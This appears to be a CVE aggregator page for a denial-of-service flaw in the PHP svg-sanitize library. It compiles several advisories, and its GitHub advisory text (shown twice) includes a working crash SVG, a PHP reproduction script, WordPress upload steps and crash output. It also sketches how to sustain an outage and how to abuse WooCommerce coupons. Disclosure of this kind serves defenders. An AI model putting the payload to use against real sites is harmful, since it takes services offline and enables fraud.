CVE-2026-107379
enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash
savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer allows a crafted SVG DTD with a #FIXED attribute default to make cleanAttributesOnWhitelist() perform a double DOMElement::removeAttribute() call on the same attribute name in src/Sanitizer.php. The first removal deletes the explicit attribute, while the DTD default rematerializes the value before the href safety path performs the second removal, which can corrupt libxml state and terminate the PHP worker. An attacker who can submit SVG content to a sanitization endpoint can repeatedly interrupt workers and degrade or exhaust application availability. This issue is fixed in version 1.0.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
6.5
enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash
savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer allows a crafted SVG DTD with a #FIXED attribute default to make cleanAttributesOnWhitelist() perform a double DOMElement::removeAttribute() call on the same attribute name in src/Sanitizer.php. The first removal deletes the explicit attribute, while the DTD default rematerializes the value before the href safety path performs the second removal, which can corrupt libxml state and terminate the PHP worker. An attacker who can submit SVG content to a sanitization endpoint can repeatedly interrupt workers and degrade or exhaust application availability. This issue is fixed in version 1.0.0.
- Record
CVE-2026-107379- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
EUVDEUVD-2026-95136
6.5
savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer allows a crafted SVG DTD with a #FIXED attribute default to make cleanAttributesOnWhitelist() perform a double DOMElement::removeAttribute() call on the same attribute name in src/Sanitizer.php. The first removal deletes the explicit attribute, while the DTD default rematerializes the value before the href safety path performs the second removal, which can corrupt libxml state and terminate the PHP worker. An attacker who can submit SVG content to a sanitization endpoint can repeatedly interrupt workers and degrade or exhaust application availability. This issue is fixed in version 1.0.0.
- Record
EUVD-2026-95136- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-v383-3rw5-q8rf
6.5
enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash
Summary
A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by enshrined/svg-sanitize (any version through 0.22.x). The sanitizer's cleanAttributesOnWhitelist() method calls DOMElement::removeAttribute() twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD #FIXED default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.
Affected installations:
- enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents
- WordPress Safe SVG plugin: 1M+ active installs
- TYPO3: svg-sanitize integrated into core since v9
- Drupal: community module wrapping svg-sanitize
Vulnerability Details
Trigger Flow
Sanitizer::sanitize($malicious_svg)
→ DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr
→ startClean() → cleanAttributesOnWhitelist($svgElement)
→ "badhref" NOT in allowedAttrs
→ removeAttribute("badhref") ← removes explicit attribute (safe)
→ stripos("badhref", "href") = TRUE
→ getAttribute("badhref") ← returns DTD #FIXED default value
→ isHrefSafeValue("javascript:x") ← returns FALSE
→ removeAttribute("badhref") ← hits XML_ATTRIBUTE_DECL → CRASH
Root cause in svg-sanitize: The sanitizer does not strip DOCTYPE/DTD declarations before processing. The cleanAttributesOnWhitelist() method at Sanitizer.php:303-330 has a double-removal pattern where the whitelist check and the href safety check can both call removeAttribute() on the same attribute name. When a DTD #FIXED default exists, the second call targets the DTD declaration node, triggering a PHP crash.
Second trigger path in cleanHrefAttributes() (Sanitizer.php:354): case-normalization of HrEf → href calls removeAttribute() then setAttribute() on the DTD default.
WordPress Code Path
User uploads SVG → WordPress wp_handle_upload()
→ filter 'wp_handle_upload_prefilter'
→ SafeSvg\safe_svg::check_for_svg() [safe-svg.php:176]
→ SafeSvg\safe_svg::sanitize($tmp_file) [safe-svg.php:218]
→ enshrined\Sanitizer::sanitize($contents) [Sanitizer.php:193]
→ cleanAttributesOnWhitelist() → double removeAttribute → CRASH
→ PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502
Proof of Concept
Malicious SVG (evil.svg)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)">
]>
<svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100">
<rect width="100" height="100" fill="red"/>
</svg>
Standalone reproduction
<?php
require_once 'vendor/autoload.php';
$svg = file_get_contents('evil.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo "Sanitized: " . strlen($clean) . " bytes\n";
// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134
WordPress reproduction
- WordPress (any version) + Safe SVG plugin (any version through 2.4.0)
- Login as Author → Media → Add New → upload
evil.svg - Result: HTTP 502 Bad Gateway, PHP-FPM worker killed
Confirmed output
$ docker exec wordpress php /tmp/test.php
Sanitized: 157 bytes
munmap_chunk(): invalid pointer
$ echo $?
134
PHP-FPM log:
[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)
Impact
Full Site Denial of Service
With pm.max_children = N: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.
Application State Corruption
SIGABRT bypasses register_shutdown_function(). On WordPress + WooCommerce:
- Coupon bypass: usage_count increment skipped → unlimited reuse of single-use coupons
- Stock oversell: stock reduction not…
- Record
GHSA-v383-3rw5-q8rf- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
NVD
6.5
savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer allows a crafted SVG DTD with a #FIXED attribute default to make cleanAttributesOnWhitelist() perform a double DOMElement::removeAttribute() call on the same attribute name in src/Sanitizer.php. The first removal deletes the explicit attribute, while the DTD default rematerializes the value before the href safety path performs the second removal, which can corrupt libxml state and terminate the PHP worker. An attacker who can submit SVG content to a sanitization endpoint can repeatedly interrupt workers and degrade or exhaust application availability. This issue is fixed in version 1.0.0.
- Record
CVE-2026-107379- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSV
6.5
enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash
savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer allows a crafted SVG DTD with a #FIXED attribute default to make cleanAttributesOnWhitelist() perform a double DOMElement::removeAttribute() call on the same attribute name in src/Sanitizer.php. The first removal deletes the explicit attribute, while the DTD default rematerializes the value before the href safety path performs the second removal, which can corrupt libxml state and terminate the PHP worker. An attacker who can submit SVG content to a sanitization endpoint can repeatedly interrupt workers and degrade or exhaust application availability. This issue is fixed in version 1.0.0.
- Record
CVE-2026-107379- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSVGHSA-v383-3rw5-q8rf
6.5
enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash
Summary
A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by enshrined/svg-sanitize (any version through 0.22.x). The sanitizer's cleanAttributesOnWhitelist() method calls DOMElement::removeAttribute() twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD #FIXED default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.
Affected installations:
- enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents
- WordPress Safe SVG plugin: 1M+ active installs
- TYPO3: svg-sanitize integrated into core since v9
- Drupal: community module wrapping svg-sanitize
Vulnerability Details
Trigger Flow
Sanitizer::sanitize($malicious_svg)
→ DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr
→ startClean() → cleanAttributesOnWhitelist($svgElement)
→ "badhref" NOT in allowedAttrs
→ removeAttribute("badhref") ← removes explicit attribute (safe)
→ stripos("badhref", "href") = TRUE
→ getAttribute("badhref") ← returns DTD #FIXED default value
→ isHrefSafeValue("javascript:x") ← returns FALSE
→ removeAttribute("badhref") ← hits XML_ATTRIBUTE_DECL → CRASH
Root cause in svg-sanitize: The sanitizer does not strip DOCTYPE/DTD declarations before processing. The cleanAttributesOnWhitelist() method at Sanitizer.php:303-330 has a double-removal pattern where the whitelist check and the href safety check can both call removeAttribute() on the same attribute name. When a DTD #FIXED default exists, the second call targets the DTD declaration node, triggering a PHP crash.
Second trigger path in cleanHrefAttributes() (Sanitizer.php:354): case-normalization of HrEf → href calls removeAttribute() then setAttribute() on the DTD default.
WordPress Code Path
User uploads SVG → WordPress wp_handle_upload()
→ filter 'wp_handle_upload_prefilter'
→ SafeSvg\safe_svg::check_for_svg() [safe-svg.php:176]
→ SafeSvg\safe_svg::sanitize($tmp_file) [safe-svg.php:218]
→ enshrined\Sanitizer::sanitize($contents) [Sanitizer.php:193]
→ cleanAttributesOnWhitelist() → double removeAttribute → CRASH
→ PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502
Proof of Concept
Malicious SVG (evil.svg)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)">
]>
<svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100">
<rect width="100" height="100" fill="red"/>
</svg>
Standalone reproduction
<?php
require_once 'vendor/autoload.php';
$svg = file_get_contents('evil.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo "Sanitized: " . strlen($clean) . " bytes\n";
// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134
WordPress reproduction
- WordPress (any version) + Safe SVG plugin (any version through 2.4.0)
- Login as Author → Media → Add New → upload
evil.svg - Result: HTTP 502 Bad Gateway, PHP-FPM worker killed
Confirmed output
$ docker exec wordpress php /tmp/test.php
Sanitized: 157 bytes
munmap_chunk(): invalid pointer
$ echo $?
134
PHP-FPM log:
[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)
Impact
Full Site Denial of Service
With pm.max_children = N: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.
Application State Corruption
SIGABRT bypasses register_shutdown_function(). On WordPress + WooCommerce:
- Coupon bypass: usage_count increment skipped → unlimited reuse of single-use coupons
- Stock oversell: stock reduction not…
- Record
GHSA-v383-3rw5-q8rf- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSVCLSA-2026-1791988717 No score
TuxCare security update for enshrined/svg-sanitize (3 CVEs)
TuxCare rebuilt enshrined/svg-sanitize to address 3 CVEs. Fixed in 0.16.0-p2+tuxcare.
- Record
CLSA-2026-1791988717- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
enshrined/svg-sanitizePackagist |
through 0.22.0 | 1.0.0 |
enshrined/svg-sanitizeTuxCare:Packagist From an advisory covering 3 CVEs |
0.16.0 up to 0.16.0-p2+tuxcare, plus listed versions 0.16.0-p1+tuxcare |
0.16.0-p2+tuxcare |
enshrined/svg-sanitizePackagist |
before 1.0.0, plus listed versions 0.1.00.1.10.1.20.1.30.1.4 Show 43 moreShow less0.1.50.1.60.10.00.11.00.12.00.13.00.13.10.13.20.13.30.14.00.14.10.15.00.15.10.15.20.15.30.15.40.16.00.17.00.18.00.19.00.2.00.2.10.20.00.21.00.22.00.3.00.4.00.4.10.5.00.5.10.5.20.5.30.5.3.10.6.00.7.00.7.10.7.20.8.00.8.10.8.20.9.00.9.10.9.2 |
1.0.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-107379 is a medium vulnerability (CVSS 6.5) in Darylldoyle Svg-sanitizer, published October 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.53%, the 44th percentile. Fixed in enshrined/svg-sanitize 1.0.0.
References
github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-v383-3rw5-q8rf
github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867
github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0
nvd.nist.gov/vuln/detail/CVE-2026-107379
github.com/advisories/GHSA-v383-3rw5-q8rf
github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107379.json
github.com/darylldoyle/svg-sanitizer
Left out here: the rest of 2 source descriptions. The JSON record has them.